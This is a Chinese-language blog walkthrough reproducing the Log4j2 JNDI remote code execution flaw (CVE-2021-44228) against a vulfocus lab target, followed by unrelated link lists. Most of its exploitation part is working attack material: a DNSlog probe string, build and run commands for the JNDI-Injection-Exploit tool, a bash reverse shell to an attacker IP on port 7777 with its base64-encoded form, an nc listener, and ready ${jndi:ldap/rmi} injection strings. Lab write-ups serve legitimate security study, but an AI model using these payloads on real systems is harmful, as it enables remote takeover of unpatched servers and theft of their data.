当前位置: 首页 > news >正文

Log4j2远程命令执行(CVE-2021-44228)复现

这里选择使用vulfocue的靶场来进行复现

描述:

Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

Lookup 操作:Log4j2 支持使用 JNDI 的lookup功能来解析和加载外部资源。例如,在日志格式中可以使用${jndi:ldap://example.com/}这样的表达式,Log4j 会尝试通过 JNDI 去指定的 LDAP 服务器获取资源。

Java 的动态类加载机制:Java 的类加载器允许在运行时动态地加载类。当应用程序需要使用某个类时,如果该类尚未被加载到内存中,类加载器会根据类的名称去查找并加载它。这种机制使得 Java 应用程序具有很强的灵活性和扩展性,但也可能带来安全风险。

利用动态类加载执行代码:攻击者可以构造恶意的 JNDI 资源,当 Log4j 尝试通过 JNDI 去获取这个资源时,实际上可能会加载攻击者指定的恶意类。例如,攻击者在 LDAP 服务器上设置一个指向恶意类的链接,当 Log4j 执行lookup操作时,就会从 LDAP 服务器获取到这个恶意类的信息,并通过 Java 的类加载器将其加载到应用程序的内存中。一旦恶意类被加载,它就可以在目标系统上执行任意代码,例如创建新的进程、读取或修改敏感数据、建立反向连接等。

logger.info("system propety: ${jndi:schema://url}");

1.启动环境

点击问号跳转


发现url会出现变化

schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。

漏洞利用语句如下(替换 schema://url):

${jndi:schema://url}

验证是否存在Log4j2远程代码执行,首先在DNSlog获取一个域名。

DNSLog Platform

输入下面的内容,注意替换你自己获得的域名

${jndi:ldap://${sys:java.version}.eee2rj.dnslog.cn}

这里注意,进行url编码

Java程序解析这个表达式时,会将 ${sys:java.version} 替换为当前 JVM 的实际版本号,这样你在DNSlog就能看到相关信息

JNDI 注入工具安装

首先安装 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

切换到 JNDI-Injection-Exploit 目录

cd JNDI-Injection-Exploit

编译安装,在该目录下执行如下命令

mvn clean package -DskipTests

编译安装完成后,我们会得到一个 jar 文件

位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

在运行结果的最后有给出:

切换进入到 target 目录:

cd target

2、工具用法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

3、服务站点部署

反弹 shell 到目标主机端口,这里以 7777 端口为例

bash -i >& /dev/tcp/192.168.217.134/7777 0>&1

对命令进行 base64 编码 (命令必须经过编码,不然无法实现)

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec

得到

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip

利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上

在 target 目录下,执行如下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.134"

4、开启端口监听

再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777)

nc -lvvp 7777

5、反弹shell

使用上述给出的 payload 路径构造完整 payload

比如:

${jndi:rmi://192.168.217.134:1099/lzdfyj}
${jndi:ldap://192.168.217.134:1389/qtbchd}

我们可以针对不同版本和不同情况使用不同的服务和不同的 payload

url编码

成功反弹shell

相关文章:

  • 智能 GitHub Copilot 副驾驶® 更新升级!
  • Spring JDBC 与数据访问:从性能优化到事务协同
  • 如何实现一个构造函数继承另一个构造函数的属性和方法?给出ES5和ES6两种方式
  • 软件研发过程中的技术债
  • (Matlab)自动驾驶仿真 设计驾驶场景、配置传感器并生成合成 数据
  • #Liunx内存管理# 页面分配器是按照什么方向来扫描zone的?
  • 第一期第10讲
  • ShellScript脚本编程
  • C语言 - 深拷贝与浅拷贝详解
  • 【扩散模型连载 · 第 2 期】逆向扩散建模与神经网络的角色
  • Object.create(null)`和`{}`创建的对象有什么区别?
  • git提交规范
  • Linux的应用领域,测试与Linux,Linux的介绍,VirtualBox和Ubuntu的安装,VMware的安装和打开虚拟机CentOS
  • 密码学(二)流密码
  • Delphi HMAC算法
  • Spring常用注解
  • 大模型在轮状病毒肠炎预测及临床方案制定中的应用研究
  • 工厂能耗系统智能化解决方案 —— 安科瑞企业能源管控平台
  • AF3 create_alignment_db_sharded脚本create_shard函数解读
  • mysql删除表后重建表报错Tablespace exists
  • 广州网站建设公司好吗/seo千享科技
  • 网站建设 每年费用/网址导航
  • 网站建设的资源整合与系统设计/万网域名管理入口
  • 网上书城网站开发外文参考文献/免费刷粉网站推广免费
  • 宿迁公司做网站/今日最新闻
  • 外贸商城网站制作/seo优化的方法